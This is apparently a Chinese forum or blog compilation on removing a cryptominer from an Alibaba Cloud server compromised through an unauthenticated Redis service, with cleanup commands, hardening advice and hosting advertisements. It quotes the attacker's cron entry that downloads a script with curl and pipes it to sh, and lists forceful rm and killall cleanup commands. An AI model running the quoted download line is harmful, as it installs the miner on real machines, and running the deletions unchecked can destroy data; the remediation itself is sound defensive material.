阿里云服务器被挖矿了怎么办？(纯纯电脑小白

1 关闭访问挖矿服务器的访问

iptables -A INPUT -s xmrcrypto-poolfr -j DROP and iptables -A OUTPUT -d xmrcrypto-poolfr -j DROP

2 chmod -x minerd ,取消掉执行权限， 在没有找到根源前，千万不要删除 minerd，因为删除了，过一回会自动有生成一个。

3 pkill minerd ,杀掉进程

4 service stop crond 或者 crontab -r 删除所有的执行计划

5 执行top，查看了一会，没有再发现minerd 进程了。

6检查/var/spool/cron/目录下发现有个root用户的定时器文件。

下载脚本的语句：

/5 curl -fsSL http://wwwhaveabitchincom/pmsh0105010 | sh

病毒文件内容如下，感兴趣的可以研究下：

 View Code

解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，http://blogjobbolecom/94518/然后就注入了病毒，下面是解决办法和清除工作：

1 修复 redis 的后门,

配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379

配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中

配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度

好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf

2 打开 ~/ssh/authorized_keys, 删除你不认识的账号

3 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉

　ECS云服务器对外攻击解锁后解决方案

注意：排查前请先创建快照备份，避免误操作导致数据丢失无法还原。

2015年11月10日，我们检测到黑客大规模利用Redis漏洞攻击，植入木马，请务必重点关注。

如果您有安全技术支持需求，如排查服务器 WEB 应用被黑、网站挂黑链、网站网页被修改、服务器中马清理、漏洞检测并修复、安全事件快速响应、您可以购买我们的付费云托管服务 http://wwwaliyuncom/product/mss 。

排查病毒木马

使用 netstat 查看网络连接，分析是否有可疑发送行为，如有则停止。

使用杀毒软件进行病毒查杀。

Linux常见木马清理命令:

chattr -i /usr/bin/sshd

rm -f /usr/bin/sshd

chattr -i /usr/bin/swhd

rm -f /usr/bin/swhd

rm -f -r /usr/bin/bsd-port

cp /usr/bin/dpkgd/ps /bin/ps

cp /usr/bin/dpkgd/netstat /bin/netstat

cp /usr/bin/dpkgd/lsof /usr/sbin/lsof

cp /usr/bin/dpkgd/ss /usr/sbin/ss

rm -r -f /root/ssh

rm -r -f /usr/bin/bsd-port

find /proc/ -name exe | xargs ls -l | grep -v task |grep deleted| awk ‘{print $11}’ | awk -F/ ‘{print $NF}’ | xargs killall -9

排查并修复服务器漏洞

查看服务器账号是否有异常，如有则停止删除掉。

查看服务器是否有异地登录情况，如有则修改密码为强密码(字每+数字+特殊符号)大小写，10 位及以上。

查看 Jenkins、Tomcat、PhpMyadmin、WDCP、Weblogic 后台密码，提高密码强度(字每+数字+特殊符号)大小写，10 位及以上，不使用建议关闭 8080 管理端口。

查看WEB应用是否有漏洞，如 struts, ElasticSearch 等，如有则请升级。

Jenkins管理员无密码远程执行命令漏洞，如有请设置密码或关闭 8080端口管理页面。

查看 Redis 无密码可远程写入文件漏洞，检查 /root/ 下黑客创建的SSH 登录密钥文件，删除掉，修改 Redis 为有密码访问并使用强密码，不需要公网访问最好 bind 127001 本地访问。

查看 MySQL、SQLServer、FTP、WEB 管理后台等其它有设置密码的地方，提高密码强度(字每+数字+特殊符号)大小写，10 位及以上。

如果有安装第三方软件，请按官网指引进行修复。

开启云盾服务

开启云盾服务，并开启所有云盾安全防护功能对您的主机进行安全防护，免于再次遭到恶意攻击。

实施安全防御方案，请您尽快开启安骑士服务，同时也建议您配置云盾服务。

如果问题仍未解决

经过以上处理还不能解决问题，强烈建议您执行下列操作：

将系统盘和数据盘的数据完全下载备份到本地保存。

重置全盘。登陆 云服务器ECS控制台。

单击进行您需要进行初始化的实例，备份完服务器数据。

关闭实例。

单击 重置磁盘，按您的实际情况选择系统盘和数据盘重置即可。6 重新部署程序应用并对数据进行杀毒后上传，并重新进行前述的 3 步处理。

如果问题还未能解决，请联系售后技术支持。

阿里云服务器被攻击怎么办？

阿里云普通带有5G默认防御，要是超过防御可以加防御，但是相对比较高价。

或者你可以尝试把被攻击的应用转移只用阿里云来访比较稳定的应用。

高攻击的应用用其他云来放，现在很多像腾正科技、蒲公英、佛山等地方都有高防云可以使用，腾正云单机防御40G，89月，起。

腾正科技，嘉辉，上

阿里云等云服务器怎样保证数据安全？

第一层安全保证：公共云平台的安全合规，阿里云的公有云平台有等保三级认证，金融云等保四级认证，所以大平台有大平台的保障。

第二层资产层规范：弱口令、账号权限分配、端口最小化策略都是用户对于资产管理的行为习惯，需要用户自己做好规范，不然所有的防护都没意义。

第三层主机安全：阿里云默认提供云盾基础防护能力，记住是基础防护，也就是超出防护阈值的时候需要自行配置安全产品，阿里云云安全中心支持漏洞检测修复、基线检查、病毒查杀、网页防篡改等功能，现在也支持跨云平台部署。

第四层数据备份：定期做快照备份，故障时可以回滚数据，最小化减少数据损失。

第五层应用层和网络层：避免CC攻击和肉鸡攻击导致应用和服务器CPU跑满瘫痪，通过web应用防火墙和Ddos高防防护，成本不低。